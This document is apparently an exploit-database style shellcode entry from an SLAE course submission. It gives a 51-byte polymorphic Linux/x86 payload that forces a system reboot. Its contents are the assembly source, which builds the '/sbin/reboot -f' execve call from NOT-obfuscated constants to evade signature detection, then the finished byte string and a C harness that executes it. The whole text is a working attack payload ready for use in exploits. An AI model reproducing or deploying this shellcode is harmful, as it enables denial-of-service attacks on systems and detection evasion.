#---------------------- DESCRIPTION -------------------------------------# ; Title: [NOT encoded] Linux/x86 Force Reboot shellcode for Linux/x86 - Polymorphic ; Author: Daniel Ortiz ; Tested on: Linux 4.18.0-25-generic #26 Ubuntu ; Size: 51 bytes ; SLAE ID: PA-9844 #---------------------- ASM CODE ------------------------------------------# SECTION .data SYSCALL_EXECVE equ 11 SECTION .text global _start _start: nop or eax, 0xffffffff not eax push eax mov eax, 0x8b90909d not eax push eax mov eax, 0x9a8dd091 not eax push eax mov eax, 0x969d8cd0 not eax push eax xor eax, eax mov ebx, esp push eax push word 0x662d mov esi, esp push eax push esi push ebx mov ecx, esp or al, SYSCALL_EXECVE int 0x80 #------------------------- final shellcode ----------------------------------------# unsigned char buf[] = "\x90\x83\xc8\xff\xf7\xd0\x50\xb8\x9d\x90\x90\x8b\xf7\xd0\x50" "\xb8\x91\xd0\x8d\x9a\xf7\xd0\x50\xb8\xd0\x8c\x9d\x96\xf7\xd0" "\x50\x31\xc0\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\x0c\x0b\xcd\x80"; #------------------------- usage --------------------------------------------------# include #include char *shellcode = "\x90\x83\xc8\xff\xf7\xd0\x50\xb8\x9d\x90\x90\x8b\xf7\xd0\x50\xb8\x91\xd0\x8d\x9a\xf7\xd0\x50\xb8\xd0\x8c\x9d\x96\xf7\xd0\x50\x31\xc0\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\x0c\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }